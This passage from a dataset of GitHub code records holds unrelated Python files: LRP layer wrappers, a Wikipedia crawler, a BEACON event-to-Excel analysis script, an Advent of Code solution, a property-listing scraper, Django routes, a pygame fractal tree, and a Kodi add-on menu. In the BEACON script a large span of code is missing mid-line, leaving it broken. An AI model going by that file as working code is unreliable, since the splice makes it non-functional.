self._jacobian(flat_input)\n flat_in_relevance = [\n LRP.relprop(\n self,\n flat_out_relevance[i, None],\n (flat_input[i, None],),\n jacobians=[jacobians[i, None]],\n )[0]\n for i in range(len(flat_input))\n ]\n flat_in_relevance = torch.cat(flat_in_relevance, dim=0)\n\n # flat_in_relevance = LRP.relprop(self, flat_out_relevance, (flat_input,))[0]\n in_relevance = flat_in_relevance.view_as(input)\n\n return in_relevance\n\n\nclass FFNWrapper(LRPWrapper):\n \"\"\"\n Feed-forward layer\n \"\"\"\n\n def __init__(self, linear_in: LinearWrapper, linear_out: LinearWrapper):\n super().__init__()\n self.linear_in = linear_in\n self.linear_out = linear_out\n\n def forward(self, x, record=False):\n x = self.linear_in(x, record=record)\n x = self.linear_out(x, record=record)\n\n def relprop(self, out_relevance):\n mid_relevance = self.linear_out.relprop(out_relevance)\n in_relevance = self.linear_in.relprop(mid_relevance)\n return in_relevance\n\n","repo_name":"DoubleVII/my-fairseq","sub_path":"fairseq/models/transformer_lrp/lrp_utils.py","file_name":"lrp_utils.py","file_ext":"py","file_size_in_byte":15853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9233882995","text":"from ..preProcess import preProcessStr, normalizeStr\nfrom scrapy.exceptions import CloseSpider\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import CrawlSpider, Rule\n\n\nclass WikiSpiderSpider(CrawlSpider):\n name = \"wiki_spider\"\n allowed_domains = [\"en.wikipedia.org\"]\n\n start_urls = [\n \"https://en.wikipedia.org/wiki/List_of_Marvel_Cinematic_Universe_films\"\n ]\n\n allow_urls = [r\"wiki/\"]\n deny_urls = [\n r\"wiki/Main_Page\",\n r\"wiki/Category:\",\n r\"wiki/Help:\",\n r\"wiki/ISO\",\n r\"wiki/Portal:\",\n r\"wiki/Special:\",\n r\"wiki/Talk:\",\n r\"wiki/Template:\",\n r\"wiki/Template_talk:\",\n r\"wiki/User_talk:\",\n r\"wiki/Wikipedia:\",\n r\"wiki/Wikipedia_talk:\",\n ]\n rules = (\n Rule(\n LinkExtractor(allow=allow_urls, deny=deny_urls),\n callback=\"parse_item\",\n follow=True,\n ),\n )\n\n N = 15000\n count = 0\n\n def parse_item(self, response):\n if self.count >= self.N:\n raise CloseSpider(f\"Scraped {self.N} items. Eject!\")\n\n self.count += 1\n\n data = {}\n data[\"page_url\"] = response.url\n\n data[\"page_title\"] = \"\".join(\n response.xpath(\n '//*[@id=\"firstHeading\"]/descendant-or-self::*/text()'\n ).getall()\n )\n\n maxDescriptionLen = 157\n description = \"\"\n totalP = int(float(response.xpath(\"count(/descendant::p)\").get()))\n numP = 0\n while len(description) < maxDescriptionLen and numP < totalP:\n description += normalizeStr(\n \" \".join(\n response.xpath(\n f\"/descendant::p[{numP}]/descendant-or-self::*/text()\"\n ).getall()\n )\n )\n numP += 1\n\n description = normalizeStr(description).strip()\n data[\"page_description\"] = (\n (description[:maxDescriptionLen] + \"...\")\n if len(description) > maxDescriptionLen\n else description\n )\n\n data[\"page_content\"] = preProcessStr(\n \" \".join(response.xpath(\"//p/descendant-or-self::*/text()\").getall())\n )\n\n headings = {}\n for i in range(2, 7):\n head_val = preProcessStr(\n \" \".join(\n response.xpath(f\"//h{i}/descendant-or-self::*/text()\").getall()\n )\n )\n if head_val:\n headings[f\"h{i}\"] = head_val\n\n data |= headings\n\n info_card = {}\n rows = response.xpath(\n '//*[@id=\"mw-content-text\"]/div[1]/table[contains(@class, \"infobox\")]/tbody/tr'\n )\n for row in rows:\n if row.xpath('./th[@class=\"infobox-above summary\"]'):\n continue\n\n img_box = row.xpath(\n './td[@class=\"infobox-image\"]/a[@class=\"image\"]/img/@src'\n )\n if img_box:\n info_card[\"img_url\"] = img_box.get()\n continue\n\n label_box = row.xpath('./th[@class=\"infobox-label\"]')\n if label_box:\n key = preProcessStr(\n \" \".join(\n label_box.xpath(\".//descendant-or-self::*/text()\").getall()\n )\n )\n\n if not key:\n continue\n\n label_data = row.xpath('./td[@class=\"infobox-data\"]')\n if label_data:\n value = preProcessStr(\n \" \".join(\n label_data.xpath(\".//descendant-or-self::*/text()\").getall()\n )\n )\n\n if value:\n info_card[key] = value\n\n data |= info_card\n\n # Invoking the shell from spiders to inspect responses\n # from scrapy.shell import inspect_response\n # inspect_response(response, self)\n return data\n","repo_name":"Smile040501/Search-Engine","sub_path":"wiki_crawler/wiki_crawler/spiders/wiki_spider.py","file_name":"wiki_spider.py","file_ext":"py","file_size_in_byte":3992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"43480665729","text":"#!/usr/bin/env python3\n'''\nThis will add to the functionality of flipbook_reader.py and take any eventids_dict and try to collate the information\nfor the contained events into an excel file for easy note taking and viewing. It attempts to add airplane information\nand thus should be run with code that has pandas version >= 1.4.0. This version is also necessary for the used\n\"overlay\" function when writing to excel. \n'''\n\nimport sys\nimport os\nimport inspect\nimport h5py\nimport copy\nfrom pprint import pprint\n\nimport numpy\nimport scipy\nimport scipy.signal\nimport time\nimport pandas as pd\n\n#from beaconroot.examples.beacon_data_reader import Reader #Must be imported before matplotlib or else plots don't load.\nfrom beacon.tools.sine_subtract_cache import sineSubtractedReader as Reader\nfrom beacon.tools.data_handler import createFile\nfrom beacon.tools.fftmath import TemplateCompareTool\nfrom beacon.tools.fftmath import FFTPrepper\nfrom beacon.tools.correlator import Correlator\nfrom beacon.tools.data_slicer import dataSlicer\nfrom beacon.tools.flipbook_reader import flipbookToDict, concatenateFlipbookToDict, concatenateFlipbookToArray, concatenateEventDictToArray\nimport beacon.tools.get_plane_tracks as pt\nfrom tools.airplane_traffic_loader import getDataFrames, getFileNamesFromTimestamps\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as colors\nfrom matplotlib import cm, ticker\nfrom matplotlib.patches import Rectangle\nplt.ion()\n\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\nwarnings.filterwarnings(\"ignore\")\n\nraw_datapath = os.environ['BEACON_DATA']\n#processed_datapath = os.path.join(os.environ['BEACON_PROCESSED_DATA'],'backup_pre_all_map_run_12-5-2021')\nprocessed_datapath = os.environ['BEACON_PROCESSED_DATA']\nprint('SETTING processed_datapath TO: ', processed_datapath)\n\ndef enu2Spherical(enu):\n '''\n 2d array like ((e_0, n_0, u_0), (e_1, n_1, u_1), ... , (e_i, n_i, u_i))\n\n Return in degrees\n '''\n r = numpy.linalg.norm(enu, axis=1)\n theta = numpy.degrees(numpy.arccos(enu[:,2]/r))\n phi = numpy.degrees(numpy.arctan2(enu[:,1],enu[:,0]))\n # import pdb; pdb.set_trace()\n return numpy.vstack((r,phi,theta)).T\n\n\ndef writeEventDictionaryToDataFrame(initial_eventids_dict, ds=None, include_airplanes=True):\n try:\n data_keys = [\n 'calibrated_trigtime',\n 'phi_best_choice',\n 'elevation_best_choice',\n 'cr_template_search_h',\n 'cr_template_search_v',\n 'cr_template_search_hSLICERMAXcr_template_search_v',\n 'hpol_peak_to_sidelobe',\n 'vpol_peak_to_sidelobe',\n 'hpol_peak_to_sidelobeSLICERMAXvpol_peak_to_sidelobe',\n 'hpol_normalized_map_value',\n 'vpol_normalized_map_value',\n 'above_normalized_map_max_line',\n 'above_snr_line',\n 'impulsivity_h',\n 'impulsivity_v',\n 'impulsivity_hSLICERADDimpulsivity_v',\n 'similarity_count_h',\n 'similarity_count_v',\n 'p2p_gap_h',\n 'p2p_gap_v',\n 'csnr_h',\n 'csnr_v',\n 'snr_h',\n 'snr_v',\n 'p2p_h',\n 'p2p_v',\n 'std_h',\n 'std_v',\n 'filtered_std_h',\n 'filtered_std_v',\n 'filtered_snr_h',\n 'filtered_snr_v',\n 'filtered_p2p_h',\n 'filtered_p2p_v',\n 'filtered_p2p_gap_h',\n 'filtered_p2p_gap_v',\n 'filtered_csnr_h',\n 'filtered_csnr_v']\n\n if numpy.all([numpy.issubdtype(k, numpy.integer) for k in initial_eventids_dict.keys()]) or numpy.all(numpy.array(list(initial_eventids_dict.keys()))%1 == 0):\n print('Assuming passed \"initial_eventids_dict\" as eventids_dict format')\n eventids_dict = copy.deepcopy(initial_eventids_dict)\n eventids_array = concatenateEventDictToArray(initial_eventids_dict)\n else:\n print('Assuming passed \"initial_eventids_dict\" as flipbook format')\n eventids_dict = concatenateFlipbookToDict(initial_eventids_dict)\n eventids_array = concatenateFlipbookToArray(initial_eventids_dict)\n\n runs = list(eventids_dict.keys())\n\n force_fit_order = 3 #None to use varying order\n\n # outpath = './airplane_event_flipbook_%i'%time.time() \n # os.mkdir(outpath)\n\n\n if ds is None:\n print(\"Preparing dataSlicer\")\n impulsivity_dset_key = 'LPf_80.0-LPo_14-HPf_20.0-HPo_4-Phase_1-Hilb_0-corlen_131072-align_0-shortensignals-0-shortenthresh-0.70-shortendelay-10.00-shortenlength-90.00-sinesubtract_1'\n time_delays_dset_key = 'LPf_80.0-LPo_14-HPf_20.0-HPo_4-Phase_1-Hilb_0-corlen_131072-align_0-shortensignals-0-shortenthresh-0.70-shortendelay-10.00-shortenlength-90.00-sinesubtract_1'\n map_direction_dset_key = 'LPf_85.0-LPo_6-HPf_25.0-HPo_8-Phase_1-Hilb_0-upsample_16384-maxmethod_0-sinesubtract_1-deploy_calibration_september_2021_minimized_calibration.json-n_phi_3600-min_phi_neg180-max_phi_180-n_theta_480-min_theta_0-max_theta_120-scope_allsky'\n\n ds = dataSlicer(runs, impulsivity_dset_key, time_delays_dset_key, map_direction_dset_key, analysis_data_dir=processed_datapath, verbose_setup=False)\n ds.prepareCorrelator()\n else:\n print('Using passed dataSlicer')\n\n status = numpy.zeros(len(eventids_array), dtype=str)\n\n data = { \n 'run' : eventids_array['run'],\n 'eventid' : eventids_array['eventid'],\n 'key' : eventids_array['key'],\n }\n\n monutau_links = []\n for eid in eventids_array:\n eventid = eid['eventid']\n run = eid['run']\n url = \"https://users.rcc.uchicago.edu/~cozzyd/monutau/#event&run=%i&entry=%i\"%(run,eventid)\n monutau_links.append('=HYPERLINK(\"%s\", \"link\")'%url)\n\n data['monutau'] = numpy.asarray(monutau_links)\n data['notes'] = [numpy.nan]*len(eventids_array)\n\n for key in data_keys:\n d = ds.getDataArrayFromParam(key, trigger_types=None, eventids_dict=copy.deepcopy(eventids_dict))\n data[key] = d\n\n if include_airplanes == True:\n print('Calculating airplane information')\n ds.prepareCorrelator()\n time_window_s = 5*60\n plot_distance_cut_limit = 500\n min_approach_cut_km = 1e6\n origin = ds.cor.A0_latlonel_hpol\n\n elevation_best_choice = ds.getDataFromParam(eventids_dict, 'elevation_best_choice')\n phi_best_choice = ds.getDataFromParam(eventids_dict, 'phi_best_choice')\n\n all_minimum_approach = numpy.zeros(len(eventids_array), dtype=float)\n all_event_times = numpy.zeros(len(eventids_array), dtype=float)\n all_at_event_time_r = numpy.zeros(len(eventids_array), dtype=float)\n all_at_event_time_phi = numpy.zeros(len(eventids_array), dtype=float)\n all_at_event_time_theta = numpy.zeros(len(eventids_array), dtype=float)\n all_minimum_approach_t = numpy.zeros(len(eventids_array), dtype=float)\n all_minimum_rpt_at_event_time = numpy.zeros(len(eventids_array), dtype=float)\n all_minimum_approach_r = numpy.zeros(len(eventids_array), dtype=float)\n all_minimum_approach_phi = numpy.zeros(len(eventids_array), dtype=float)\n all_minimum_approach_theta = numpy.zeros(len(eventids_array), dtype=float)\n all_minimum_approach_airplane = numpy.zeros(len(eventids_array), dtype='= 1 and int(pd.__version__.split('.')[1]) >= 4:\n # flipbook_path = '/home/dsouthall/scratch-midway2/event_flipbook_1643154940'#'/home/dsouthall/scratch-midway2/event_flipbook_1642725413'\n # flipbook_path = './airplane_event_flipbook_1643947072'\n flawed_runs = numpy.array([6537,6538,6539]) #numpy.array([5775,5981,5993,6033,6090,6520,6537,6538,6539]) \n filename = os.path.join(os.environ['BEACON_ANALYSIS_DIR'],'analysis','sept2021-week1-analysis','hand-scanned-event-info.xlsx')\n # include_airplanes = False\n for include_airplanes in [False, True]:\n #['/home/dsouthall/scratch-midway2/event_flipbook_1643154940', './airplane_event_flipbook_1643947072']\n for flipbook_path in ['./september-flipbook']:\n sorted_dict = flipbookToDict(flipbook_path, ignore_runs=flawed_runs)\n if True:\n sheetname = os.path.split(flipbook_path)[-1] + '_airplanes-included-%s'%str(include_airplanes)\n else:\n sheetname = 'raw_airplanes-included-%s'%str(include_airplanes)\n\n df = writeEventDictionaryToDataFrame(sorted_dict, include_airplanes=include_airplanes)\n writeDataFrameToExcel(df, filename, sheetname)\n # writeEventDictionaryToExcel(sorted_dict, filename, ds=None)\n else:\n print('This script requires pandas version >= 1.4.0')\n else:\n cmap = 'cool'#'coolwarm'\n impulsivity_dset_key = 'LPf_80.0-LPo_14-HPf_20.0-HPo_4-Phase_1-Hilb_0-corlen_131072-align_0-shortensignals-0-shortenthresh-0.70-shortendelay-10.00-shortenlength-90.00-sinesubtract_1'\n time_delays_dset_key = 'LPf_80.0-LPo_14-HPf_20.0-HPo_4-Phase_1-Hilb_0-corlen_131072-align_0-shortensignals-0-shortenthresh-0.70-shortendelay-10.00-shortenlength-90.00-sinesubtract_1'\n map_length = 16384\n map_direction_dset_key = 'LPf_85.0-LPo_6-HPf_25.0-HPo_8-Phase_1-Hilb_0-upsample_%i-maxmethod_0-sinesubtract_1-deploy_calibration_september_2021_minimized_calibration.json-n_phi_3600-min_phi_neg180-max_phi_180-n_theta_480-min_theta_0-max_theta_120-scope_allsky'%map_length\n \n run_batches = {}\n run_batches['batch_0'] = numpy.arange(5733,5974) # September data, should setup to auto add info to the \"notes\" section based off of existing sorting, and run this one those events for consistency\n run_batches['batch_1'] = numpy.arange(5974,6073)\n run_batches['batch_2'] = numpy.arange(6074,6173)\n run_batches['batch_3'] = numpy.arange(6174,6273)\n run_batches['batch_4'] = numpy.arange(6274,6373)\n run_batches['batch_5'] = numpy.arange(6374,6473)\n run_batches['batch_6'] = numpy.arange(6474,6573)\n run_batches['batch_7'] = numpy.arange(6574,6641)\n runs = numpy.array([])\n for k in (run_batches.keys()):\n runs = numpy.append(runs,run_batches[k])\n\n ds = dataSlicer(runs, impulsivity_dset_key, time_delays_dset_key, map_direction_dset_key, \\\n low_ram_mode=True,\\\n analysis_data_dir=processed_datapath, trigger_types=[2], remove_incomplete_runs=True)\n\n filename = os.path.join(os.environ['BEACON_ANALYSIS_DIR'],'analysis','paper', 'data','new-cut-event-info.xlsx')\n new_cut_dict = numpy.load( os.path.join( '/home/dsouthall/Projects/Beacon/beacon/analysis/paper/data/cuts_run5733-run6640_1652152119' , 'pass_all_cuts_eventids_dict.npy') , allow_pickle=True)[()]\n \n df = writeEventDictionaryToDataFrame(new_cut_dict, include_airplanes=False, ds=ds)\n writeDataFrameToExcel(df, filename, 'passing all cuts')\n\n old_cut_dicts = {}\n for i in range(8):\n f = os.path.join('/home/dsouthall/Projects/Beacon/beacon/analysis/paper/data/eventid_dicts', 'stage_2_eventids_dict_batch_%i.npy'%i)\n out = numpy.load( f , allow_pickle=True)[()]\n for run in list(out.keys()):\n old_cut_dicts[run] = out[run]\n\n\n new_cut_array = ds.organizeEventDict(new_cut_dict)\n old_cut_array = ds.organizeEventDict(old_cut_dicts)\n\n matching = ds.organizeEventDict(ds.returnCommonEvents(new_cut_dict, old_cut_dicts))\n matching_dict = ds.returnCommonEvents(new_cut_dict, old_cut_dicts)\n \n events_in_new_not_old = ds.organizeEventDict(ds.returnEventsAWithoutB(new_cut_dict, old_cut_dicts))\n events_in_new_not_old_dict = ds.returnEventsAWithoutB(new_cut_dict, old_cut_dicts)\n\n\n matching_df = df[numpy.logical_and(numpy.isin(df['run'], matching['run']), numpy.isin(df['eventid'], matching['eventid']))]\n writeDataFrameToExcel(matching_df, filename, 'in old')\n\n new_events_df = df[numpy.logical_and(numpy.isin(df['run'], events_in_new_not_old['run']), numpy.isin(df['eventid'], events_in_new_not_old['eventid']))]\n writeDataFrameToExcel(new_events_df, filename, 'new')\n\n\n\n","repo_name":"djsouthall/beacon","sub_path":"tools/write_event_dict_to_excel.py","file_name":"write_event_dict_to_excel.py","file_ext":"py","file_size_in_byte":23505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"3665314078","text":"def run_main():\n increases = 0\n old_no = -1\n f = open(\"input/day1a.txt\")\n lines = list(map(int, f.readlines()))\n for i in range(0, 1998):\n a = lines[i]\n b = lines[i+1]\n c = lines[i+2]\n current_no = a + b + c\n if -1 < old_no < current_no:\n increases += 1\n old_no = current_no\n print(increases)\n\n\nif __name__ == '__main__':\n run_main()\n","repo_name":"jl881/aoc","sub_path":"2021/day1b.py","file_name":"day1b.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43744444442","text":"import json\nimport re\nimport sys\nfrom urllib.request import urlopen, Request\n\nimport bs4\nimport requests\n\nexceptions = {}\nstatus_codes = {}\n\n\ndef main():\n global total_pages\n url = 'https://www.towerbudapest.com/en/sales'\n hdr = {\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 '\n 'Safari/537.11',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',\n 'Accept-Encoding': 'none',\n 'Accept-Language': 'en-US,en;q=0.8',\n 'Connection': 'keep-alive'}\n property_links = []\n property_data_list = []\n soup = bs4.BeautifulSoup(urlopen(Request(url, headers=hdr)).read(), features=\"lxml\")\n for paragraph in soup.select('p[class*=\"kill-margin\"]'):\n if 'Page' in str(paragraph.contents[0]):\n total_pages = int(paragraph.contents[0].split(' ')[10])\n break\n print(\"found \" + str(total_pages) + \" pages\")\n for i in range(total_pages):\n print('=', end='')\n print()\n while True:\n soup = bs4.BeautifulSoup(urlopen(Request(url, headers=hdr)).read(), features=\"lxml\")\n for tag in soup.findAll('a',\n attrs={\n 'href': re.compile(\"^https://www.towerbudapest.com/en/sales/budapest_property/\")}):\n property_links.append(tag.get('href'))\n rightButton = soup.select('div[class*=\"text-right\"]')[0].select('button')\n print('.', end='')\n sys.stdout.flush()\n if len(rightButton) != 0:\n url = rightButton[0]['onclick'].split(\"'\")[1]\n else:\n print()\n break\n print()\n print(\"found \" + str(len(property_links)) + \" links\")\n property_links = list(set(property_links))\n print(str(len(property_links)) + \" after removing duplicates\")\n for i in range(len(property_links)):\n if i % 10 == 0:\n print('=', end='')\n print()\n counter = 0\n global status_codes\n global exceptions\n for link in property_links:\n try:\n counter += 1\n if counter % 10 == 0:\n print('.', end='')\n sys.stdout.flush()\n property_data = {}\n content = urlopen(Request(link, headers=hdr)).read()\n soup = bs4.BeautifulSoup(content, features=\"lxml\")\n header = soup.select('div[class*=\"property-content\"]')[0].select('h1')[0].contents[0]\n property_data['name'] = header\n details = soup.select('div[class*=\"property-details-sidebar\"]')[0]\n\n for listitem in details.select('ul')[0].select('li'):\n new_key = listitem.select('strong')[0].contents[0].replace(':', '').lower().replace(' ', '')\n if len(listitem.contents) > 1:\n new_value = str(listitem.contents[1]).strip()\n if new_value == 'Yes':\n new_value = True\n if new_value == 'No':\n new_value = False\n else:\n new_value = True\n property_data[new_key] = new_value\n\n property_data['pricehuf'] = details.select('ul')[1].select('li')[1].contents[0].split()[0].replace('.', '')\n if len(details.select('ul')[1].select('li')) > 2:\n property_data['priceeur'] = details.select('ul')[1].select('li')[2].contents[0].split()[0].replace('.',\n '')\n\n # property_data['contact'] = details.select('ul')[2].select('li')[1].contents[0]\n\n property_data['name'] = property_data['name'].lower()\n recognized_suffixes = ['utca', 'út', 'tér', 'park']\n recognized_suffixes_english = ['street', 'road', 'square', 'park']\n split_name = (str(property_data['name'])).split()\n for s in split_name:\n if s in recognized_suffixes or s in recognized_suffixes_english:\n if s in recognized_suffixes:\n property_data['streetsuffix'] = s\n if s in recognized_suffixes_english:\n property_data['streetsuffix'] = recognized_suffixes[recognized_suffixes_english.index(s)]\n split_name.remove(s)\n property_data['streetname'] = ' '.join(split_name)\n break\n\n property_data['size'] = int(property_data['size'].split(' ')[0])\n\n property_data_list.append(property_data)\n r = requests.post(\"https://propertybuddy-database.herokuapp.com/properties\", json=property_data)\n # r = requests.post(\"http://localhost:8080/properties\", json=property_data)\n\n latest_status_code = (r.status_code, json.loads(r.content)['message'])\n if latest_status_code in status_codes:\n status_codes[latest_status_code] += 1\n else:\n status_codes[latest_status_code] = 1\n except Exception as e:\n latest_exception = str(e)\n if \"HTTPSConnectionPool\" in latest_exception and \"Max retries exceeded with url\" in latest_exception:\n latest_exception = latest_exception.split(\"(Caused\")[0]\n if latest_exception in exceptions:\n exceptions[latest_exception] += 1\n else:\n exceptions[latest_exception] = 1\n print()\n print()\n print('all done')\n end_print()\n\n\ndef end_print():\n print('status codes:')\n for c in status_codes:\n print(\"\\t\" + str(c[0]) + \"\\tx\" + str(status_codes[c]) + \"\\n\\t\\t\" + str(c[1]))\n print('exceptions:')\n for e in exceptions:\n print(\"\\t\" + e + \"\\tx\" + str(exceptions[e]))\n\n\ntry:\n main()\nexcept KeyboardInterrupt:\n print()\n print()\n print('exiting on user interrupt')\n end_print()\n","repo_name":"zapathy/webscraping","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25697992927","text":"from django.urls import path\n\nfrom .views import OperationViewSet, CategoryView, CategoryListView, ListOperationsOfBill, FilterOperationsView, \\\n SearchView\n\nurlpatterns = [\n path('operation', OperationViewSet.as_view({\n 'post': 'create',\n 'delete': 'destroy',\n 'put': 'update',\n 'get': 'retrieve'\n })),\n path('operations', OperationViewSet.as_view({\n 'get': 'list'\n })),\n path('operations-of-bill', ListOperationsOfBill.as_view()),\n path('categories', CategoryListView.as_view({\n 'get': 'list'\n })),\n path('category', CategoryView.as_view({\n 'post': 'create'\n })),\n path('filter-operations', FilterOperationsView.as_view()),\n path('search', SearchView.as_view())\n]\n","repo_name":"bifenbecker/FinanceControl-bankAccounts","sub_path":"operations/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11075056089","text":"import pygame, sys, math\n\nclass observer:\n def __init__(self):\n self.observer_list = []\n\n def add(self, objs):\n self.observer_list += objs\n\n def notify(self, pos):\n for observer in self.observer_list:\n d = observer.on_notify(pos)\n if d: return d\n\n return None\n\n\nclass slider:\n def __init__(self, pos, name, tree):\n self.x, self.y = pos\n self.height = 200\n self.name = name\n self.rect_width, self.rect_height = 20, 10\n self.slide = pygame.Rect((self.x-10,self.y+self.height/2-self.rect_height/2),(self.rect_width, self.rect_height))\n self.degrees = math.degrees(math.pi*(self.slide.y - self.y+self.rect_height/2)/(self.height))\n self.trees = tree\n\n def on_notify(self, pos):\n if (abs(pos[0]-self.x)<20) and (self.y pos[1])):\n self.slide.move_ip(0, pos[1]-self.slide.y)\n self.degrees = math.degrees(math.pi*(self.slide.y - self.y+self.rect_height/2)/(self.height))\n if self.name == \"teta1\": return (self.trees.teta[0], -math.radians(self.degrees))\n else :return (math.radians(self.degrees),self.trees.teta[1])\n return None\n\n\n def draw(self, surface):\n myfont = pygame.font.SysFont(\"\", 15)\n textsurface = myfont.render(\n f\"{self.name} {round(self.degrees,2)}\", False, (0,0,0)\n )\n textRect = textsurface.get_rect()\n textRect.center = (self.x, self.y-10)\n surface.blit(textsurface, textRect)\n\n pygame.draw.line(surface, (0,0,0), (self.x, self.y), (self.x, self.y+self.height), 2)\n pygame.draw.rect(surface, (0,0,110), self.slide)\n\n\nclass tree:\n def __init__(self, size, k, teta):\n self.w, self.h = size\n self.lenght = 100\n self.k = k\n self.teta = teta\n self.max = 15\n\n def update(self, teta):\n if teta:\n self.teta = teta\n\n def draw(self, surface, line=None, angle=math.pi/2, it=1):\n if not line: line = [(self.w/2, self.h), (self.w/2, self.h*3/4)]\n if it > self.max: return 0\n if it> 7*self.max//10: pygame.draw.line(surface, (71,148,71),line[0], line[1])\n else: pygame.draw.line(surface, (102,51,0),line[0], line[1])\n\n for i in range(2):\n x = self.lenght*(self.k[i]**it)*math.cos(angle + self.teta[i]) + line[-1][0]\n y = -self.lenght*(self.k[i]**it)*math.sin(angle + self.teta[i]) + line[-1][1]\n self.draw(surface,[line[-1], (x,y)], angle+self.teta[i], it+1)\n\n\nclass main:\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = (600, 500)\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, 0 , 32)\n self._running = True\n self.tree = tree(self.size, [0.65, 0.75], [math.radians(20), -math.radians(10)])\n self.sliders = [slider((490, 50), \"teta1\", self.tree), slider((560, 50), \"teta2\", self.tree)]\n self.observers = observer()\n self.observers.add(self.sliders)\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n degrees = self.observers.notify(pygame.mouse.get_pos())\n self.tree.update(degrees)\n self.on_loop()\n\n def on_loop(self):\n self._display_surf.fill((255,255,255))\n self.tree.draw(self._display_surf)\n for slider in self.sliders:\n slider.draw(self._display_surf)\n pygame.display.update()\n\n def on_render(self):\n pass\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self):\n if self.on_init() == False:\n self._running = False\n\n self.on_loop()\n while ( self._running ):\n for event in pygame.event.get():\n self.on_event(event)\n self.on_render()\n self.on_cleanup()\n\nif __name__ == \"__main__\":\n theApp = main()\n theApp.on_execute()\n","repo_name":"MasMat2/Fractals","sub_path":"treegame.py","file_name":"treegame.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30776906790","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Defines the StagedMoviesMenu class.\"\"\"\n\nimport xbmcgui\n\nfrom resources import ADDON_NAME\n\nfrom resources.lib.log import logged_function\n\nfrom resources.lib.misc import getstring\nfrom resources.lib.misc import notification\n\n\nclass StagedMoviesMenu():\n \"\"\"Provide windows for displaying staged movies, and tools for managing the items.\"\"\"\n\n # TODO: don't commit sql changes for \"... all\" until end\n # TODO: decorator for \"...all\" commands\n # TODO: load staged movies on init, use as instance variable, refresh as needed\n\n def __init__(self, database, progressdialog):\n \"\"\"__init__ StagedMoviesMenu.\"\"\"\n self.database = database\n self.progressdialog = progressdialog\n\n @logged_function\n def add_all(self, items):\n \"\"\"Add all staged movies to library.\"\"\"\n STR_ADDING_ALL_MOVIES = getstring(32042)\n STR_ALL_MOVIES_ADDED = getstring(32043)\n self.progressdialog.create_progressdialog(\n msg=STR_ADDING_ALL_MOVIES\n )\n for index, item in enumerate(items):\n self.progressdialog.update_progressdialog(\n index / len(items),\n item.title()\n )\n item.add_to_library()\n self.progressdialog.close_progressdialog()\n notification(STR_ALL_MOVIES_ADDED)\n\n @staticmethod\n def rename_dialog(item):\n \"\"\"Prompt input for new name, and rename if non-empty string.\"\"\"\n # TODO: move to utils or parent class so it's not duplicated\n input_ret = xbmcgui.Dialog().input(\n \"Title\",\n defaultt=item.title()\n )\n if input_ret:\n item.rename(input_ret)\n\n @logged_function\n def options(self, item):\n \"\"\"Provide options for a single staged movie in a dialog window.\"\"\"\n STR_ADD = getstring(32048)\n STR_REMOVE = getstring(32017)\n STR_REMOVE_AND_BLOCK = getstring(32049)\n STR_RENAME = getstring(32050)\n STR_STAGED_MOVIE_OPTIONS = getstring(32053)\n STR_BACK = getstring(32011)\n lines = [\n STR_ADD,\n STR_REMOVE,\n STR_REMOVE_AND_BLOCK,\n # STR_RENAME,\n STR_BACK\n ]\n ret = xbmcgui.Dialog().select(\n '{0} - {1} - {2}'.format(\n ADDON_NAME,\n STR_STAGED_MOVIE_OPTIONS,\n item.title),\n lines\n )\n if ret >= 0:\n if lines[ret] == STR_ADD:\n item.add_to_library()\n self.view_all()\n elif lines[ret] == STR_REMOVE:\n item.delete()\n self.view_all()\n elif lines[ret] == STR_REMOVE_AND_BLOCK:\n item.remove_and_block()\n self.view_all()\n elif lines[ret] == STR_RENAME:\n self.rename_dialog(item)\n self.options(item)\n elif lines[ret] == STR_BACK:\n return\n\n else:\n self.view_all()\n\n @logged_function\n def remove_all(self):\n \"\"\"Remove all staged movies.\"\"\"\n STR_REMOVING_ALL_MOVIES = getstring(32013)\n STR_ALL_MOVIES_REMOVED = getstring(32014)\n self.progressdialog.create_progressdialog(\n msg=STR_REMOVING_ALL_MOVIES\n )\n self.database.delete_item_from_table_with_status_or_showtitle(\n _type='movie',\n status='staged'\n )\n self.progressdialog.close_progressdialog()\n notification(STR_ALL_MOVIES_REMOVED)\n\n @logged_function\n def view_all(self):\n \"\"\"\n Display all staged movies, which are selectable and lead to options.\n\n Also provides additional options at bottom of menu.\n \"\"\"\n STR_NO_STAGED_MOVIES = getstring(32037)\n STR_ADD_ALL_MOVIES = getstring(32038)\n STR_REMOVE_ALL_MOVIES = getstring(32009)\n STR_BACK = getstring(32011)\n STR_STAGED_MOVIES = getstring(32004)\n staged_movies = list(\n self.database.get_content_items(\n status='staged',\n _type='movie'\n )\n )\n if not staged_movies:\n xbmcgui.Dialog().ok(ADDON_NAME, STR_NO_STAGED_MOVIES)\n return\n lines = [str(x) for x in staged_movies]\n lines += [\n STR_ADD_ALL_MOVIES,\n STR_REMOVE_ALL_MOVIES,\n STR_BACK\n ]\n ret = 